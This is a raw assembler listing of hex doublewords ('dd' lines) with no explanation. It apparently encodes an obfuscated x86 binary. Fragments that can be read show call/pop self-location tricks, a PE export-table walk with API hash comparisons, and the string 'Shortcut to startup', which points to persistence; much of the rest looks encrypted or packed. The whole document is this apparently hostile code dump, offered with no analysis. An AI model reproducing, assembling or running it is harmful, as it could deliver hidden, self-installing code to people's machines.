0ABBE9C8Fh, 20241B80h, 9320h, 0E7FC7800h dd 7310271h, 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 5618B58Dh dd 8D8D0617h, 6175637h, 0E983CF2Bh, 8DC88B05h, 1756E78Dh dd 85B58906h, 89061223h, 1209A18Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 66ECEB3Dh dd 85C7C38Bh, 6120505h, 6764h, 59650CB8h, 0D985C760h, 6121Bh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0EB72C355h, 8503288Bh, 612194Dh dd 2A49B5FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 3BA990C3h, 66F1BF0Fh, 95FFF98Bh dd 6121B31h, 13D99D89h, 6A0612h, 19CD95FFh, 0C08B0612h dd 12C13BEBh, 1D6C4072h, 0D10567C1h, 0AA21A476h, 8CB62088h dd 2FDAF3AEh, 61724DEAh, 0E9E98711h, 96AA6FCBh, 1A085D9Ah dd 0F564F360h, 0FB772D9Ch, 0CCE96070h, 62104A72h, 0CC75476Ch dd 6E85Eh, 0AD4A0000h, 42427B77h, 0A9652BBh, 0B9665A79h dd 0C2818691h, 5F95h, 33DF8B66h, 419529C0h, 0FF06120Dh dd 840F1034h, 8, 599D0950h, 5B06121Dh, 0D381665Eh, 0F6811D58h dd 22A18FF6h, 1ADD9D8Bh, 0C6810612h, 6C9BD08Bh, 8413B966h dd 2FD5C681h, 0BE9104Eh, 47000000h, 3258CEAFh, 0F919B677h dd 0F56E521h, 683h, 818D8B00h, 8F061229h, 0B5890204h, 6120751h dd 9798D8Bh, 0E8830612h, 91FDBB04h, 0F88173B4h, 0FFFFA124h dd 11850Fh, 9D330000h, 6121C01h, 1EE9h, 0C27CA800h, 8948C73Bh dd 1204B58Dh, 0FF71E906h, 0E23FFFFFh, 180A92A0h, 34A819D7h dd 20BFAA5Eh, 33F8A3B9h, 0AE673020h, 8467A04Fh, 0C59C1DEAh dd 0AA07241Ah, 0AF853936h, 0EA013630h, 43E96132h, 13632h dd 995EF56Dh, 8905124Eh, 13051276h, 45013632h, 8D84F565h dd 588F895h, 46131F57h, 29708BB1h, 1F013020h, 80179B6h dd 0B5BC1D32h, 0EA07241Dh, 1013622h, 6F27FB8Dh, 0C115587Eh dd 21B4A2h, 1F86712Ch, 25C8BB3Bh, 0ED5A3020h, 2013467h dd 0E9563658h, 80013631h, 1FC26912h, 24254ABBh, 142572B3h dd 8013626h, 40C26175h, 3DCA3B9h, 0BC8A3020h, 86132617h dd 0BBBF50A2h, 0D08A6666h, 158239A2h, 0B3013632h, 0DE69C90h dd 264D373Dh, 52015CCCh, 800135DAh, 835A1632h, 45DBF69h dd 3445B736h, 8012036h, 0C7527532h, 0B9C3F8Ah, 131C8BAFh dd 806B6E34h, 4002DE65h, 7F213632h, 6C8869F1h, 4C803216h dd 4163216h, 55463632h, 0CECB8BF1h, 3994052Eh, 0FF07242Dh dd 32F327D5h, 10B88B19h, 0C8823020h, 7994BD1Eh, 89072428h dd 0F6B6393Ah, 7C49BD54h, 40013DDAh, 1B0E5332h, 7A25CE0h dd 0FBB88436h, 525E6D63h, 2013FDBh, 0DD6D2732h, 7C1472Fh dd 265B029Ch, 0DF370FB3h, 10FCB23Dh, 8BF93632h, 46B3FF3h dd 202DE62h, 59213632h, 0C4886EF1h, 4803216h, 20183216h dd 40413632h, 0F01EB4F1h, 64FC6FD9h, 0DF3BD54h, 10137BAh dd 0E660C332h, 0EF7CF5B3h, 2FE80FB2h, 100076B7h, 5E015C32h dd 40135DAh, 0C15F1632h, 2575BF6Ch, 0A445B736h, 40012336h dd 0E3577032h, 43572E53h, 80138DBh, 935B8E32h, 847E9BB0h dd 2D7E6591h, 0DE1A7AD8h, 0C59C1F69h, 0AB072402h, 0AD883773h dd 0E132CDFh, 46BFE31h, 202DE65h, 5E213632h, 0FC8869F1h dd 4803216h, 20163216h, 47463632h, 6FE153F1h, 0F5B63908h dd 19C88BB9h, 0C0823020h, 0D0015C37h, 400135DAh, 0E3591632h dd 3445BF6Ah, 2C45B736h, 4012E36h, 0C1517632h, 0D2A938D7h dd 0CD9435D1h, 0A907243Fh, 20013623h, 97CAF7ABh, 502C1941h dd 0DFE0979h, 7F4AD0A8h, 9138B749h, 8F8A7579h, 4001BEB7h dd 6D94BD32h, 9D07243Ch, 1A4C83BFh, 53015C34h, 20135DAh dd 0C25E1632h, 0A47DBF6Dh, 6445B736h, 20012236h, 0D3567132h dd 0A5B4BDEEh, 8F072426h, 1020AF87h, 1028E34h, 806B3632h dd 4002DE67h, 7D213632h, 7C886BF1h, 4C803216h, 41B3216h dd 57443632h, 2EC5C9F1h, 99546086h, 0BFFABD54h, 71015CD3h dd 100135DAh, 0CB581632h, 204DBF6Bh, 2645B736h, 1012E36h dd 43507732h, 0E3905581h, 9D9BDF6h, 228C7BFh, 86B5734h dd 402DE67h, 5F213632h, 6D886BF1h, 0C4803216h, 40183216h dd 75443632h, 0CC507BF1h, 23B0C602h, 161A4FAFh, 0EBBCBB34h dd 8C072165h, 975BC1BFh, 0C3758E34h, 0A53237A0h, 1613282Fh dd 20C0F919h, 33F8A3B9h, 0AE673020h, 8467A04Fh, 0C59C1DEAh dd 0AA07241Ah, 0AF853936h, 5E98330h, 0C08BA4F3h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1CC35646h, 1329BD29h dd 8B660612h, 50006ADFh, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 9360FAAEh, 0C1B12543h, 3259D8Bh dd 8BF50612h, 5E8C3h, 0ABF60000h, 893E1106h, 123499BDh dd 6E95B06h, 14000000h, 0FB6429B2h, 1DC381EFh, 0E900006Fh dd 14h, 0B27A6978h, 23E2E81Fh, 1F6DC559h, 543B39FDh, 0A079E9F7h dd 80B2F62Bh, 1330C8Bh, 121F7995h, 1E98106h, 8123B7CCh dd 262FEE9h, 8589575Ah, 612181Dh, 0AFF1815Ah, 601789DCh dd 1FF19D2Bh, 8A0F0612h, 6, 21A1B589h, 89610612h, 8D29330Ch dd 6121E15h, 51DF8166h, 0E6EE810Ch, 895956FBh, 12115995h dd 0E2C68106h, 575956FBh, 815A78B2h, 0FF91ACFEh, 18850FFFh dd 89000000h, 121D1985h, 21E906h, 0A7B30000h, 0E01BD07Fh dd 1E6CEBBDh, 0B890C9FBh, 11725EAh, 0FFFF77E9h, 319EA4FFh dd 37662C3Bh, 0E90C3D25h, 0B0h, 0DA8C6660h, 0F04C2F6h dd 0C85h, 0B1853B00h, 0F061203h, 3684h, 39853B00h, 0F06121Dh dd 2A84h, 0ED853B00h, 0F061222h, 1E84h, 0F1853B00h, 0F061220h dd 1284h, 89BD8300h, 1061205h, 5840Fh, 5FE90000h, 8B000000h dd 3C5203D0h dd 88BA8Bh, 4A8B0000h, 0FC98578h, 4984h, 0F8C28100h, 8B000000h dd 0C8030C72h, 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh dd 0CE3B0000h, 17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h dd 850F4A04h, 0FFFFFFDCh, 0DE9h, 0B59D8D00h, 0B806124Dh dd 5, 0C361E3FFh, 82E9D00Bh, 3D000000h, 53220ECBh, 74726F68h dd 20747563h, 73206F74h, 74726174h, 7075h, 1Ah dup(0) dd 0FECE900h, 15680000h, 0E906175Fh, 0FFFBED72h, 17605668h dd 0ED68E906h, 7768FFFBh, 0E9061762h, 0FFFBED5Eh, 1762D168h dd 0ED54E906h, 9368FFFBh, 0E9061763h, 0FFFBED4Ah, 17644368h dd 0ED40E906h, 5A68FFFBh, 0E9061768h, 0FFFBED36h, 176B1468h dd 0ED2CE906h, 0F068FFFBh, 0E906176Bh, 0FFFBED22h, 974F4F53h dd 964E584Dh, 944C5A4Ch, 9048564Ah, 91495D46h, 0EBB84F21h dd 0E6B903BBh, 0EEB600B8h, 0EBB600B8h, 0E0DBFBB3h, 96F422CAh dd 1C9917B3h, 897A247Dh, 0F0436341h, 0D3CBD660h, 17FA071Bh dd 0C5671026h, 1DD0BB93h, 4DF3358Dh, 0DDD94C6Ch, 0D68FC844h dd 42E56A41h, 30000000h, 0D2C386B3h, 93C10FBCh, 0ED7D30BBh dd 6C415395h, 0E980B4Ch, 0F7AFF47Eh, 0EA7A2C77h, 0DAED769Ah dd 77978C88h, 6A41D6E0h, 11B94h, 6B398100h, 0FC8C128Eh dd 0DFBC4C1Fh, 3176A328h, 64B77055h, 7A247DD1h, 634360EAh dd 29752A72h, 0D969BC99h, 0BC4C524Fh, 7B2B79C1h, 0A5F9A828h dd 44B332EDh, 0CCF9CE25h, 31C1E5BEh, 0E02E8154h, 0B5811D75h dd 0CCD71A87h, 0ED6D4ADAh, 8360F0B6h, 0F3AEF8B0h, 0BAC71BABh dd 0ABD0E6D7h, 9CBB9305h, 0F6B0F8E9h, 91A55DB0h, 876D8360h dd 0BA4C6F06h, 8558465Ah, 2D79C1B2h, 0B90CE979h, 40560FC8h dd 4C6F06D8h, 3987DA8Dh, 4278F8DEh, 8FD7C87Bh, 1FDA9214h dd 0A8A85066h, 0E4C2465Bh, 796A1DC2h, 5BA8BD63h, 0AAFDB046h dd 6F2D792Ah, 3AD8DF48h, 0A70AE27Ah, 9200000Dh, 8CD68E10h dd 8BD58D19h, 89D38B1Bh, 85CF8717h, 60D0881Eh, 0F8AEF510h dd 0F5A9F640h, 0F5B1F33Dh, 0F0AEF33Dh, 71D1838h, 0B396F6E1h dd 7D59D654h, 478F8026h, 3BF34658h, 4D630180h, 0DD3B9EDh dd 81C311F7h, 0BE9144B5h, 3BB6EB6Bh, 8C1A8B66h, 0BC4C1FFCh dd 99540CDFh, 0EB506D1Ah, 297D5EBCh, 0C457AA7Dh, 0D2C386B3h dd 93C10FBCh, 8C7D30BBh, 4157BDD3h, 390A4C6Ch, 6C41FD23h dd 0EABD704Ch, 10BE8233h, 0FB4EE1DCh, 0D1D1136Bh, 0BBB74C6Ch dd 46B1A6A6h, 15946A42h, 7547D3C9h, 0CE90E3DFh, 0DAh, 0A28D0C19h dd 376B1C1Dh, 970A8ADDh, 0D8CE1607h, 93238321h, 90E3B6h dd 0E9792D76h, 81B02691h, 7C48C7B5h, 0B7CFA99h, 8A1797EAh dd 59A15C14h, 0ECC9594Dh, 16881999h, 0AE566C25h, 57B5814Bh dd 814BDB41h, 36DB8EB5h, 2B8DCC83h, 49A2D717h, 0E11266F6h dd 0BF783122h, 81E043A9h, 0F043F6B5h, 93E3F9A2h, 920E6EBBh dd 0CC9F7C0Ch, 10F30014h, 1DD9091Fh, 0C55C4278h, 3CF5AB7Bh dd 0DACB9E9Fh, 0DD951192h, 36BA322h, 9C773EE9h, 0CCDAC949h dd 0DB90ED0Eh, 9F770F3Ah, 0C66h, 17CFCFD3h, 16CED8CDh dd 14CCDACCh, 10C8D6CAh, 11C9DDC6h, 6B38CFA1h, 6639833Bh dd 6E368038h, 6B368038h, 605B7B33h, 96C9A24Ah, 9C1997B3h dd 0C5E1C40Ch, 0F5B1F272h, 0F0AEF33Dh, 247DDB38h, 4160EA7Ah dd 0DFB2F4B0h, 7B246C27h, 63B69323h, 3829E819h, 0A983697Fh dd 3B6B581h, 0BE06BFB0h, 1C6ABDE1h, 0BB93B763h, 969121D4h dd 5B21C7DDh, 61144C6Ch, 0E9046FAAh, 0DF3252D0h, 6C405791h dd 2039354Ch, 41D63324h, 7416Ah, 2F8C0000h, 90Dh, 0EC8D0C92h dd 0C22A4056h, 77B58197h, 84500DC4h, 0DA82CEh, 90635605h dd 3C6F33Dh, 3B33FC12h, 0B164BB93h, 940A9721h, 0CDD921DCh dd 9B0686D9h, 82554956h, 12949AF2h, 0BFE6E52Bh, 0D8CD57E7h dd 0CAEE3ECEh, 56522E51h, 0A940DCDh, 5990852h, 15C81D75h dd 0D92272Bh, 2C770191h, 4560EA7Ah, 6DF4D161h, 69AFD64Bh dd 0D28BDC45h, 151D0319h, 9D50272Bh, 2B15A94Fh, 0CB059C27h dd 0C223456Ah, 0B7CDBE91h, 272B0151h, 7EFE5104h, 79C37B23h dd 8EE67628h, 272B015Dh, 2445DE00h, 561D91A5h, 0EBC8584Eh dd 31B37C34h, 0C4A13175h, 831E9EF1h, 58AB2A1Bh, 5E46E237h dd 6CFCAAFBh, 0B169BC8Fh, 7DC077F6h, 0F6BD413Ah, 0D124F7AFh dd 786A5051h, 39BB0205h, 62B64619h, 6B817251h, 2939C4D6h dd 24CCE29Bh, 1939164Ch, 0BB6E1366h, 1EC94803h, 1B419805h dd 1CEFAFF2h, 739A3FC9h, 1B7CA4BAh, 3EF13916h, 0B190A1EBh dd 3A8807C0h, 86CBC4F8h, 0CB8CDA2Dh, 203704FFh, 0B94B2FA1h dd 0E619703h, 49FCB669h, 47574890h, 49713F9h, 0BBE64633h dd 91F10E3h, 330497E3h, 250A356h, 1517B72Bh, 0DACB8EBBh dd 0E7EB1FC4h, 0D9D5013h, 1BB69312h, 0C476FF34h, 5532C2DCh dd 0D4E52F82h, 0F5EE04F5h, 0A19F574h, 831E6657h, 0DB6B336Eh dd 29732BFEh, 24374278h, 3A3085B1h, 0E5653866h, 7552E2BCh dd 8A9E4A2h, 43DB554Eh, 0A456Bh, 0F0AEF400h, 0EFB7EE38h dd 0EDB9ED37h, 0E9B5EB35h, 0EABCE731h, 57AEC232h, 58A25A4Ch dd 559F5747h, 559F574Fh, 7A9A524Ch, 0CB83697Fh, 38B6B396h dd 3D530CBBh, 0B581A9D7h, 22B2F4AFh, 0DD09A045h, 21205B7Ch dd 0D858AB7Eh, 287E28C9h, 2AE8BB98h, 0C902291Dh, 0EBA77F17h dd 4E000009h, 48924A54h, 4791495Dh, 458F475Fh, 418B435Bh dd 1C8C4462h, 0B4F2B154h, 0B1EDB2FCh, 0B1F5AFF9h, 0ACF2AFF9h dd 0C3D9D4F4h, 0B396CB5Dh, 7D159210h, 0A2C49624h, 72BA144Eh dd 0C21D38BBh, 380B54A9h, 90788E47h, 0C5B58183h, 0A52FBF12h dd 9CF0A8FEh, 874A77F7h, 0B95DD96h, 0F2080393h, 0B581830Ah dd 66B98C3Fh, 93F85F18h, 0C98F8BBh, 26800A9Ah, 4013F080h dd 3EA3B36Dh, 8A8ED102h, 93A99A79h, 83A3112Eh, 88DC6C1Fh dd 0EBBBEB7Bh, 18112718h, 2D8989B3h, 6041897Ah, 3931391h dd 0E6C35326h, 91F3132Fh, 0AF02B890h, 0E7BD05BEh, 0B5EC6CBFh dd 0BAE731E9h, 90D726E4h, 7109E50Bh, 92999h, 0C921000h dd 0B9B0A54h, 99D0953h, 5990751h, 6A0034Dh, 7392DE4Eh dd 74BE7630h, 71BB732Bh, 71BB7333h, 96B66E30h, 0CA9F859Bh dd 54D2B396h, 7A247DD7h, 624460EAh, 2C7A2971h, 430921D9h dd 51B581AAh, 0B7706120h, 5600E8FEh, 82354A7Eh, 0F90CE12Fh dd 0A5ED4466h, 0AD52A501h, 0E0C109FAh, 54E6C6DAh, 2F020E90h dd 6F80BF3Eh, 8D446241h, 0E1C0F1FFh, 7D502DBDh, 4F53C1C6h dd 52A5F743h, 0D97DF9Ah, 207F0999h, 3E11EE7Eh, 68366BEBh dd 51554ED8h, 8C6D37C1h, 0B1576D13h, 0A44C6964h, 0B18E1EF1h dd 13CB20DEh, 61F930EAh, 87989h, 0BCE2C000h, 0BBEBBA04h dd 0B9EDB903h, 0B5E9B701h, 0B6F0B3FDh, 23E28EFEh, 246E2680h dd 216B237Bh, 216B2383h, 46661E80h, 0CDCF354Bh, 482B396h dd 7A247D87h, 5D4160EAh, 0C0597DCDh, 28D0E69Fh, 1DB581A9h dd 0A97176Ah, 0A221DC94h, 93205D92h, 56A2F5E4h, 642F3401h dd 55873h, 91A76000h, 0B5813E6Bh, 0D5E8FCCh, 0E58A0E18h dd 0B34CDF32h, 8AD2C386h, 0AF556B15h, 0A2B581A9h, 0D8C91CEFh dd 99066DC2h, 76671ABBh, 9160E0F7h, 24019115h, 0FF688D6Dh dd 8DE60F48h, 0B6094F9Bh, 0CD247DC5h, 1E881DD4h, 0BDEB18Eh dd 50333F53h, 234D68C0h, 0C1BDD706h, 1B880758h, 0DD529998h dd 856EF7CCh, 0DE06B72h, 0A9E96EBAh, 4B8BE3B4h, 0D6000000h dd 0D3C487B3h, 81A957BDh, 66570AB5h, 0A97197ADh, 31E4B581h dd 0CEF64EDEh, 56D5E90Ch, 1245C15Ah, 3384971Dh, 0FBC647Ah dd 0FEB16A19h, 18E9ABh, 0C340000h, 0A9D73D53h, 0D78AB581h dd 84770A20h, 75A73F8h, 1E739h, 87B39C00h, 3254D3C4h, 6AA1BCD7h dd 0C41CACFFh, 2EEE1691h, 8041D19h, 0DD9C2A4Fh dd 2025h, 87B37000h, 0D8DC34C4h, 502EEE16h, 183FCF54h dd 2DDD9C27h, 64E4BAE5h, 50126541h, 8Ah, 0C487B39Bh, 0A957BDD3h dd 570AB581h, 1C8908FBh, 9C4E9AF3h, 54A65DB0h, 16901559h dd 8F758B86h, 0C2B581E9h, 92148F0Fh, 0F8104102h, 25F9C79Eh dd 0E0E77C9Eh, 0A1C65B35h, 0A204A0E8h, 1E73512h, 34B58166h dd 75E22E81h, 0D0642EEBh, 0F5851988h, 3303C518h, 0F0000000h dd 479EC971h, 8DE0F97Eh, 0C487B3FAh, 0A955BDD3h, 5508B581h dd 0EA771EC8h, 84D373E8h, 0F0642FBAh, 0Eh, 1262F3Bh, 0EC340000h dd 7F5CECBAh, 0F92F992Ch, 92000000h, 8D1787B3h, 0D9AC8919h dd 0EDD2F149h, 3E3A0AD1h, 693C8425h, 5E3863Dh, 1E25AC6Dh dd 0BED87FCBh, 0C09CB97Fh, 0E7000000h, 0C7DFC40Ch, 0BD075A37h dd 207E218Dh, 0DE465C4Dh, 93B581A9h, 0F8A7EFE0h, 0D35516A6h dd 36715D09h, 1DAD00D3h, 0A1CA43C5h, 0E5649D5h, 33D9EF91h dd 266A5E46h, 3310A073h, 0D17DE6E0h, 844FCF86h, 782E77BFh dd 528B7187h, 0BBE6A5Eh, 50F6B8h, 2AE30000h, 5E52EC14h dd 5BAE616Ah, 1787B3C8h, 0FD87178Fh, 5528FBA3h, 0A9A64E64h dd 3B9BB581h, 6BB65A68h, 0A76A844h, 0F7CAA737h, 0CBF50F67h dd 979322A1h, 0CBD58282h, 0B770D14Fh, 5E5E7BA1h, 71DEE27h dd 275E5EE1h, 7BCEA154h, 1EB9h, 492F0400h, 34000000h, 0B9CFB9ECh dd 0B581A953h, 0F0805306h, 0A939DFF5h, 792CB581h, 7DC053A6h dd 92EA7A24h, 0B581A955h, 0CD0D16D8h, 0B512CAD4h, 37C487B3h dd 1214AB8Dh, 0B7EFFB09h, 94E0B581h, 642FC7C4h, 0FFFEEFB2h dd 0B62FFDFFh, 92000002h, 897A247Dh, 0A952BAD0h, 5407B581h dd 0BAE77101h, 0A7376F37h, 4D06F7CAh, 81A9D137h, 7ED184B5h dd 0C281B2C6h, 0C5DABBD1h, 762FBB93h, 6C4CB860h, 43FAAD4Ch dd 0FA70D3E2h, 60055827h, 63C51DADh, 694C6C16h, 6BB3F46Dh dd 1DDE6E38h, 7AC19947h, 0B205D835h, 429EF166h, 47836Ah dd 28700000h, 41D42777h, 0D2C386B3h, 93C10FBCh, 99CE4BBh dd 0F2A54A9Dh, 0DDB38201h, 2A07ED03h, 873A4C6Ch, 660FE8D0h dd 7F4ABBD0h, 0B70ADD4Eh, 0C1E42C27h, 0E04492E5h, 0E84C6C4Dh dd 80D777ECh, 0F46A41DAh, 0C0h, 96247D3Fh, 795588DBh, 7808DB1Ah dd 61F1B5EEh, 44D4CAD7h, 0FFB7E7BAh, 811E4CE7h, 3D9E1DB5h dd 0CAC9CBC7h, 0B487178Ah, 0A7376F34h, 0AAF777CAh, 0E8BB03F4h dd 0FE512EBEh, 42013246h, 0C9DF9851h, 0B581C823h, 0C0E36316h dd 674593E6h, 1ABB9634h, 752E7667h, 1C17FD13h, 974A4C6Ah dd 1A8BD3C4h, 0CC1FFC8Ch, 0CDD9CA14h, 0E96BD40Fh, 6E46DE30h dd 462h, 1BD3CBD7h, 1AD2D4D1h, 18D0D6D0h, 14CCD2CEh, 15CDD9CAh dd 673CCBA5h, 623D873Fh, 6A3A843Ch, 673A843Ch, 645F7F37h dd 96C1A64Eh, 0A01D9BB3h, 0C880267Dh, 0E2E0C50Dh, 23AC8F1Eh dd 5FB285B1h, 0DEF8C2DFh, 69B0583Ah, 2A873F12h, 0EA7A247Dh dd 0A55D4160h, 9FFFA2EAh, 95DF320Fh, 0FBB4A564h, 81A93FE5h dd 2C7F32B5h, 6B3A823Bh, 219AE83Bh, 16BB93D4h, 0AB7BD363h dd 294C6C7Ch, 0C5D9C60Eh, 65E37872h, 0C5D9C854h, 0C8D85835h dd 0FC1203D6h, 427E0147h, 34BDE42Ch, 0E3633670h, 0E98EE1BDh dd 7BC37E36h, 11EE7E28h, 0A04774BEh, 41605A9Bh, 84A65Dh dd 3F273BF2h, 2E4BCCB5h, 9B546A5Bh, 0AC4842F4h, 0E6C008F9h dd 0EF008C0h, 5C58453Ch, 0EA65E48h, 50h, 3D530C71h, 0B581A9D7h dd 3684D78Ah, 0B581A9F2h, 38F0D3E2h, 5EEEB8EEh, 81A91E06h dd 3F2428B5h, 772ECBDBh, 0EFC29F2Fh, 0EFB7ED37h, 0A9DE075Fh dd 247CB581h, 0FBCED8CDh, 0E1C5E16Bh, 44DD0151h, 74EDF141h dd 0B5A600A4h, 0DB6B336Dh, 96F3ABFEh, 479B277Dh, 0E980CF4h dd 3AF4C057h, 6D46ECBCh, 29FCCF42h, 52D7B938h, 6E4CFC61h dd 11908B1Bh, 70356270h, 9E987F36h, 774A5C49h, 0A600A424h dd 8E188C16h, 913174FEh, 581D607h, 494679Dh, 0B7073D43h dd 0FD843D12h, 0F93F46DBh, 188C4CD5h, 4A559D8Eh, 31490154h dd 0B581A8F3h, 0B94C0C58h, 4A2A642Fh, 17FFFFFFh, 198D165Eh dd 81A025CBh, 126518B5h, 7A247D7Fh, 5D4160EAh, 237B246Ch dd 0AB63B693h, 0B6A76A97h, 93C5F7A0h, 0BCAD60BBh, 99280F3Dh dd 0EF4226E0h, 57DD075Fh, 0AFAB4C6Ch, 0AC76F5AAh, 0F79F26B0h dd 0F95EAAFDh, 7B6A421Ch, 34h, 1686B3C6h, 5445188Eh, 93C18D3Eh dd 881E66BBh, 0C626CB1Eh, 66F6C9DDh, 6C41DA0Eh, 0ADB6B24Ch dd 41D6B6A1h, 70108F6Ah, 0CBE1FEA3h, 0E42EF043h, 79000000h dd 0EA7A247Dh, 0EBB64360h, 734623B3h, 4DB3C982h, 0B581A9h dd 0E06AFA4Dh, 0C34DDDC1h, 0D3E9A2DEh, 0B581A92Dh, 0F91F6D20h dd 6CB581A9h, 162EE6B9h, 0B581AEA3h, 0C9BAE4BDh, 0D413464Ah dd 50A3E135h, 4B534E98h, 0D2E8A15Ah, 4A7ED12Ah, 0F61E6C1Fh dd 6B4A7ED1h, 81D565B8h, 8AA09170h, 446CB4F1h, 20DB9346h dd 0FCAB5167h, 0EB9E4C6Ch, 5E3D4E98h, 0D03576Dh, 7F32427Bh dd 495D468Eh, 63899F58h, 0D646590Fh, 5D18D023h, 86169015h dd 6EFEA8FCh, 0EB6BBE91h, 52BAD0B8h, 746590Fh, 0DAC38154h dd 883ADA78h, 1A818F0h, 11910000h, 1A8BD58Dh, 1C8AD48Ch dd 1888D28Ah, 1F84CE86h, 115FCF87h, 41F9ADF6h, 3EF6A8F7h dd 3EF6B0F4h, 39F1ADF4h, 0E0081E19h, 55B396C2h, 267D5AD7h dd 237EC880h, 0B366C37Bh, 0BCD2C386h, 0BB93C10Fh, 95ED7D30h dd 4C6C4153h, 0A7FE4639h, 10F80EFFh, 454C6C41h, 0DC453F92h dd 41D72730h, 0B14D6Ah, 7D980000h, 0EFEA7A24h, 52A5F9A7h dd 7E28D1D2h, 1C645528h, 0B08D1D89h, 0C275CD5Dh, 1CB581AEh dd 0E0281985h, 7350E0C6h, 831E6820h, 0A378B1Bh, 4B405647h dd 0B0446C37h, 31823868h, 0DEE2BF97h, 20E17144h, 323DBFAFh dd 3DBD90F8h, 47EC3F67h, 8224A394h, 480E0CC3h, 5D71297Ch dd 667C6D2Ch, 427B4AABh, 0B4FCEDA0h, 0B5FFB7EFh, 83FAB8EEh dd 0B53ADAADh, 0CC451Dh, 356D0000h, 3E67B169h, 4066B068h dd 3C64AE66h, 4360AA62h, 353BAB63h, 1DD5D1D2h, 1AD2CCD3h dd 1AD2D4D0h, 15CDD1D0h, 3CE4FAF5h, 31B396C2h, 267D36B3h dd 237EC880h, 7D66C37Bh, 81829624h, 66DE0410h, 28790393h dd 99AABE76h, 2381C9BAh, 6A32F383h, 0F07EE848h, 0C5B609DCh dd 99D17AAFh, 0C8580BBBh, 57633Eh, 382A7A23h, 0C711C99Ch dd 3934C4DAh, 66826A80h, 20B74C68h, 81F51177h, 0CD20F348h dd 727F657Fh, 0C45D5920h, 20118D14h, 4ADACCD8h, 18621A6Dh dd 0FB851589h, 8F69F9A5h, 0C89D1594h, 6FAAAA1Bh, 0DD6D31h dd 7BE0DA2Dh, 0DCC2DE26h, 6980989h, 19D044Eh, 0FF829110h dd 1498B60Ch, 35931C1h, 0BC000000h, 257D13AEh, 425FE979h dd 6242CC5Ch, 752AB444h, 940F9929h, 0ABF88212h, 0BFE16BFBh dd 0E1C54FDFh, 0FAAB35C5h, 68391CACh, 1F10h, 68242C89h dd 4BE4h, 50241C89h, 405E089h, 83000000h, 48704E8h, 2C895C24h dd 27B85024h, 4869BB41h, 0A3E3502Dh, 8BC38963h, 0C4832404h dd 2C8B5404h, 4C48124h, 51000000h, 8B9h, 89E90100h, 240C8B19h dd 4C481h, 2C8B0000h, 0E7895724h, 4C781h, 0C7810000h, 4 dd 5C243C87h, 5B2434FFh, 4C481h, 9FE90000h, 0F2FFFBDDh dd 0DB8F6EE9h, 292981DFh, 6FA8AA41h, 0E1B8CDA1h, 306176Ch dd 73E0FFC5h, 0F4571FA0h dd 6D201046h, 8D30A1F8h, 176E658Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0AD7E6DAAh dd 119589A3h, 8906121Ah, 1209A18Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E9B6DE4Ah dd 0Fh, 0F1C97A96h, 121BD86h, 6FAF6EC9h, 0C791520Eh, 12050585h dd 618806h, 86F08000h, 1BD985C7h, 612h, 0BE90000h, 91000000h dd 550F9F58h, 18313D48h, 0B5FF2024h, 6122C81h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0C1C35545h, 26523554h dd 13A1B58Bh, 95FF0612h, 6121B31h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0C0C35040h, 0E582AA6h, 4D7100A5h dd 95FF006Ah, 61219CDh, 6DEBC08Bh, 122C875Eh, 731E74CFh dd 70186DF4h, 7F6D2527h, 59ED8446h, 5D5DA15Fh, 0AFE7D4E1h dd 8B06B56Eh, 0D781C545h, 0EE2AE4D8h, 34EF1E78h, 139BBBC7h dd 0C941669Eh, 0BFB4C6AEh, 3DFF93BCh, 0A0849B6Eh, 0B412DBA4h dd 0B19D05EBh, 674F3929h, 79A75DF3h, 0B07F4706h, 19E744Fh dd 9C788CA8h, 71F74C06h, 790F133Ah, 0E6D1555Eh, 76B79A30h dd 21E932h, 0EE830000h, 2EBh, 6 dup(0) dd 0E9000000h, 537h, 14B21E11h, 28C63024h, 40DE4038h, 56F45A50h dd 6B097166h, 3C31A3FEh, 4F4636D4h, 645D4DEBh, 7C766604h dd 2081801Eh, 7687AFh, 31839676h, 33A4150Fh, 6FE9070Bh dd 292CC412h, 78167E73h, 2D308E88h, 9B0C7D77h, 6FE90773h dd 0E9942C7Ah, 0B6B91B13h, 33A1CC60h, 44D111D8h, 4D41F7DAh dd 0E283E0E3h, 0FDED4870h, 0B7AF5184h, 4FF05AC2h, 1F17ED6Fh dd 0FA64BABDh, 1FCA2822h, 0E731B0ADh, 127CE6CBh, 241BF194h dd 857E56C0h, 0DB087A25h, 42D69256h, 0C3B3319Bh, 0E9BF6ACAh dd 3F228CF4h, 6A9564D6h, 5BA42AC4h, 5E2219F1h, 0BF6A0268h dd 799DC536h, 5EAC6FE9h, 0FBBA11F4h, 0E0534C1Bh, 79BEE657h dd 7FCD6FE9h, 0E979C4ECh, 0E57DCB6Fh, 9F5D5747h, 0FEA941ABh dd 63010375h, 5C3F296Eh, 0EA01A1C9h, 638BFC6Fh, 6A6FEA01h dd 65CF1D1Ch, 1043182h, 0FEB56FEAh, 74F34A1Eh, 543AD81Eh dd 0E0000000h, 0B4B7150Fh, 0E9073963h, 4D2DE46Fh, 1D7B2279h dd 169D8h, 0F0F0000h, 0F8AEB11Bh, 2E979A04h, 94FE6058h dd 5D60C6BCh, 4C4FADA7h, 3639A196h, 5AF223E4h, 0B00E775Bh dd 9A817F7h, 0AFA37252h, 0BDB7A745h, 0AC1EC15Fh, 269079D9h dd 5D574F2Ah, 0F5995FFh, 0F9AFB21Ah, 7C989B05h, 1F14E3C3h dd 2F2919B7h, 0DC65CED1h, 0E907436Bh, 92FC4A6Fh, 5D60C2BAh dd 3C10F0C9h, 0D81D80F5h, 6B1Ch, 1A0FC200h, 6FD1C99Fh dd 0E907B4DCh, 756DBB6Fh, 7D801880h, 6A6DCFC7h, 0F476560Dh dd 0C3C6241Eh, 